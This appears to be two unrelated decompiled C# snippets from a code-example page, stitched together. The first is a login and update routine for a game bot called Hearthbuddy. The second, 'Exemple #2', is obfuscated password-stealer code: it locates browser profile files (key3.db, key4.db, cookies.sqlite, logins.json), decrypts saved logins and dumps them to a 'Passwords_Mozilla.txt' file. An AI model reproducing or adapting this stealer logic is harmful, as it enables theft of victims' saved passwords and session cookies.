private void method_0()
 {
     base.Visibility = Visibility.Hidden;
     if (!CommandLine.Arguments.Exists("noupdate") && !GlobalSettings.Instance.DisableUpdateCheck)
     {
         try
         {
             Class12.smethod_5();
         }
         catch (Exception exception)
         {
             ilog_0.Error("An error occured while checking for updates.", exception);
         }
     }
     if (!Class12.smethod_1(GlobalSettings.Instance.AuthRegion, GlobalSettings.Instance.LoginKey))
     {
         MessageBox.Show(string.Format("There was an error authenticating your key with the server. Please try again or use a different key.{0}{0}{1}", Environment.NewLine, Class12.string_0), "Hearthbuddy", MessageBoxButton.OK, MessageBoxImage.Hand);
     }
     else
     {
         Class12.smethod_3();
         Application.Current.MainWindow = this.mainWindow_0;
         this.mainWindow_0.Visibility   = Visibility.Visible;
         this.mainWindow_0.Show();
         this.mainWindow_0 = null;
         base.Close();
         this.NeedsToShow = false;
     }
 }
Exemple #2
0
    // Token: 0x060001E1 RID: 481 RVA: 0x0000F220 File Offset: 0x0000D420
    public static void smethod_3()
    {
        List <string> list = new List <string>();

        list.AddRange(Class12.smethod_0(Class12.string_0, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        list.AddRange(Class12.smethod_0(Class12.string_2, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        foreach (string text in list)
        {
            string fullName = new FileInfo(text).Directory.FullName;
            string string_  = text.Contains(Class12.string_2) ? Class12.smethod_12(fullName) : Class12.pbkrPshvsy(fullName);
            string string_2 = Class12.smethod_4(fullName);
            Class12.smethod_1(fullName, string_, string_2);
            string text2 = "";
            foreach (string str in Class12.list_4)
            {
                text2 = text2 + str + Environment.NewLine;
            }
            if (text2 != "")
            {
                File.WriteAllText(Help.Passwords + "\\Passwords_Mozilla.txt", text2, Encoding.Default);
            }
        }
    }